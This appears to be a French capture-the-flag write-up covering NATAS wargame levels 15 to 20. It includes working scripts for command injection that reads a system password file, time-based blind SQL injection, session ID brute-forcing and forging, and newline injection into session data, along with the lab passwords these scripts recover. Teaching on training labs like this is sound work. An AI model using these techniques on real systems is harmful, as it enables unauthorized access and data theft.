Dans cette partie j'ai choisit de ne pas forcément fournir la version bash du code afin de ne pas la rallonger inutillement.

Level 15 -> 16

On commence par analyser le code de la regexp '/[;|&`\'"]/' disponible dans le code source.

Pour faire simple et comme le montre regexp101,

On ne peut plus utiliser de:
; (point virgule)
|    (pipe)
&  (Esperluette)
`   (Backslash)
' (Simple quote)
"   (Doubloe quotes)

Voila qui complique un peu les choses.

Un simple URL encode ne suffit pas à le duper, le bougre !

Cette fois ci le code est solide, pas moyen de bypasser cette regexp.
Essayons d'être plus malin (oui elle est facile celle là).
En fouillant encore un peu, on se rend compte que l'on peut passer des commandes via la substitution de commande suivante: $()

Un peu comme dans le challenge précédent on va devoir dériver l'utilisation d'une fonction pour retrouver le mot de passe.

On  sait que le mot de passe se situe ici:

/etc/natas_webpass/natas17

L'ideal serait de pouvoir l'afficher directement via une commande dans le genre de cat mais pas moyen, le code nous renvoie soit quelque chose soit rien... Ca ne vous rappelle rien ? Et oui on est en face d'une fonction qui nous revoit un booléen.
On va donc utiliser grep pour vérifier si la fonction renvoie quelque chose ou non.

Reprenons le code de notre challenge

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}

L'idée pour retrouver le mot de passe de ce challenge c'est de demander si la lettre x est bien la première du mot de passe.
Ensuite on demande si "xa" est bien le début du mot de passe et ainsi de suite. Pour ça on va utiliser grep et une regexp tout bête: ^

$(grep ^x /etc/natas_webpass/natas17)

Si x est bien la première lettre du mot de passe alors grep retourne comme code de sortie 0 sinon il retourne 1.

A partir de là il ne reste plus qu'a écrire une boucle pour automatiser le process.

NB: Comme on passe notre payload via l'URL on ne peut pas utiliser d'espace directement, il faut donc les encoder par leur équivalent: %20.

#!/bin/bash

user="natas16"
pass="WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
auth=$user":"$pass
url="http://natas16.natas.labs.overthewire.org/"

pass=""
for i in {1..32}
do
	for x in {{a..z},{A..Z},{0..9}}
	do
		curl -s --user $auth "$url?needle=sonatas"'$(grep%20^'$pass$x'%20/etc/natas_webpass/natas17)' | grep sonatas
		if [ $? -eq 1 ]
		then
			pass=$pass$x
			echo $pass
		fi
		#sleep 1
	done
done
./curl.payload17.sh |grep -vie sonatas
8
8P
8Ps
8Ps3
8Ps3H
8Ps3H0
[...]
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Level 16 -> 17

Cette fois çi le code source nous apprend que le serveur restera muet quoi qu'il arrive.

Quoi qu'il arrive ? Vraiment ? Et bien pas tout à fait... Si on s'en réfère a cet article, on peut utiliser une injection SQL basé sur le temps de réponse du serveur. On se retrouve alors dans la situation précédente où le serveur ne répondait seulement par "oui" ou par "non".

Vu le temps de réponse, on peut affirmer que l'utilisateur est bien "natas18"
import requests
from requests.auth import HTTPBasicAuth
import string

Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')
headers = {'content-type': 'application/x-www-form-urlencoded'}
passwd = ""

allchars = string.ascii_letters + string.digits

for i in range(0,32):
    for char in allchars:
            payload = 'username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(5)%23'.format(passwd + char)
            r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)
            if(r.elapsed.seconds >= 5):
                    passwd = passwd + char
                    print(passwd)
                    break
NB: Il est important de préciser le bon header sinon la requête ne fonctionnera pas
Password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Level 17 -> 18

Cette fois-ci s'en est fini des injections ! Maintenant place aux sessions PHP.
Et avec les sessions PHP: beaucoup de code !

Notre meilleur option est de suivre son déroulé linéairement et d'aviser au fur et à mesure.

Globalement le code redéfinit le principe de fonctionnement des sessions PHP.
Maintenant les sessions ont un ID définit entre 1 et 640.

Plus loin dans le code du système d'authetification d'un utilisateur nous est révélé.

Le code commence ligne 71
Se poursuit ligne 42
Et se termine ligne 27

Soyons curieux, pourquoi il existe une fonction my_session_start() ? Normalement les sessions en PHP sont déjà définit par le langage... Où se trouve la faille logique ?

Maintenant il faut se poser la bonne question, comment obtenir une session admin ?
La réponse est simple, on ne peut pas s'auto attribuer une session admin... Alors qu'est-ce qu'on peut faire ? On peut s'auto attribuer une session existante, et on peut énumérer les sessions jusqu’à ce qu'on tombe sur une session admin...

#!/usr/bin/env python
#coding: utf-8

import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth
import time 

basic = HTTPBasicAuth("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP")

for i in range(641):
    c = i
    cookies = {'PHPSESSID':str(c)}
    url = "http://natas18.natas.labs.overthewire.org/index.php?debug"
    r = requests.get(url, auth=basic, cookies=cookies)
    pprint(cookies)
    print r.text
    if "Password" in r.text:
        print r.text
        break
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

Level 18 -> 19

Pour ce nouveau challenge: pas de code source et pas d'ID séquentiel !

Ok, il va falloir faire quelques tests pour comprendre le fonctionnement de l'ID de session

On commence par afficher les informations de débogage

Maintenant inspectons les cookies pour voir comment fonctionnent les sessions ID de ce challenge.

On a donc une chaine de caractères alphanumérique de 22 caractères de long...
Il y a donc peu de chance que ca soit un hash.

Essayons de penser plus simple, que se passe-t-il si on demande plusieurs fois un ID ? Peut on déduire un principe de génération ?
Un petit bout de python suffira pour automatiser la génération d'ID.

#!/usr/bin/env python
#coding: utf-8

import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth

basic = HTTPBasicAuth("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs")
data_1 = {"username" : "admin", "password" : "test"}
url = "http://natas19.natas.labs.overthewire.org/index.php?debug"

for i in range(100):
    s = requests.Session()
    r = s.post(url, auth=basic, data = data_1)
    print r.cookies 

Comme on peut le voir sur cette capture, une partie de l'ID est toujours la même, seul le début change. Ca permet d'affirmer une chose:  on n'a pas à faire à une fonction de hashage (car la différence entre 2 ID n'est pas très importante et que la longeur de la chaine de caratère n'est pas toujours la même).

Si ce n'est pas une fonction de hashage, il doit s'agir d'une methode d'encodage, à première vue ce n'est pas du base64... Cherchons plus simple comme par exemple de l'hexa !

#!/usr/bin/env python
#coding: utf-8

import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth

basic = HTTPBasicAuth("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs")
data_1 = {"username" : "SuperMan", "password" : "test"}
url = "http://natas19.natas.labs.overthewire.org/index.php?debug"

for i in range(10):
    session = requests.Session()
    response = session.post(url, auth=basic, data = data_1)
    print session.cookies['PHPSESSID'].decode('hex')

Ok, donc le début est simplement un entier et le reste semble provenir de l'username que j'ai spécifié.

NB: Toujours utiliser des informations facilement reconaissables en tant que donnée d'entrée (par exemple SuperMan comme username)

Maintenant que l'on comprends le système de génération du cookie PHPSESSID, il est temps de l'exploiter à notre avantage !

Avant de partir à l'assault faisont un petit listing

1) De quoi j'ai besoin ? D'une session admin !
2) Comment l'obtenir ? En énumérant toutes les sessions jusqu'a trouver une session admin
3) Qu'est-ce que j'oublie ? Il faut que le cookie PHPSESSID suive un pattern particulier.

from pprint import pprint
from requests.auth import HTTPBasicAuth
import requests

username = "natas19"
password = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"

url = 'http://%s.natas.labs.overthewire.org/index.php?debug' % username

for i in range(641):
        session = requests.Session()
        cookies = {"PHPSESSID" : str("%d-admin" % i).encode('hex')}
        print("Trying: " + str(i))
        pprint(cookies)

        response = session.post(url, cookies = cookies, auth = (username, password))
        if "Session was old: admin flag set" not in response.text:
                print response.text
                break

And voilà !

Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Level 19 -> 20

Toute la faisabilité de ce hack vient du fonctionnement de mywrite() et de sa consœur myread().

Décomposons étapes par étapes. Commencons par mywrite().

Oui mes graphiques sont en anglais...

La première partie de la fonction vérifie la valeur du $sid. La second partie est en charge de sérialiser les données afin de pouvoir les enregistrer dans un fichier.

Première question, pourquoi ne pas utiliser les fonctions de sérialisation présentent par défaut dans le langage ?

Concentrons nous sur la deuxième partie de la fonction.
1) le nom du ficher de sauvegarde de la session est composé de mysess_ et de la valeur de $sid
2) Le tableau est trié suivant l'orde des clés
3) Pour chaque couple clé-valeur on le concatène dans la variable $data
4) Les données sont écrites dans le fichier déterminé à l'étape 1)

Maintenant allons voir le fonctionnement de sa consœur myread()

Là encore la fonction est composé de 2 morceaux.
La première partie vérifie que le $sid est bon et que le fichier de sauvegarde existe bien.
La second partie est celle qui nous intèresse le plus.
1) La fonction commence par séparer les données ligne par ligne
2) Pour chaque ligne, on sépare les mots et on stocke la valeur dans la variable de session $SESSION.

Mais comment peut on exploiter ça me direz vous ? Pour ça il faut comprendre comment fonctionne la fonction print_credentials().

Cette fonction se contente de chercher si il existe une variable de session $SESSION et ensuite de vérifier si elle contient bien une clé admin qui a pour valeur 1 .

Vous voyez comment exploiter la faille maintenant ? Eh oui, il suffit de se servir de mywrite() afin de rajouter une variable admin a notre session et de lui donner la valeur 1.

#!/usr/bin/env python
#coding: utf-8

import requests
from pprint import pprint
from requests.auth import HTTPBasicAuth

basic = HTTPBasicAuth("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF")
data_1 = {"name" : "SuperMan\nadmin 1"}
url = "http://natas20.natas.labs.overthewire.org/index.php?debug"


session = requests.Session()    

r = session.get(url, auth=basic)
print r.text
print "=============================================="

response = session.post(url, auth=basic, data = data_1)
print response.text
print "=============================================="

response = session.get(url, auth=basic)
print response.text
print "="*80

Tout tient dans ligne suivante:

data_1 = {"name" : "SuperMan\nadmin 1"}

Il ne reste plus qu'a executer le code et voila !

Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ

Voila qui conclu cette 3eme partie sur les challenges NATAS d'OverTheWire.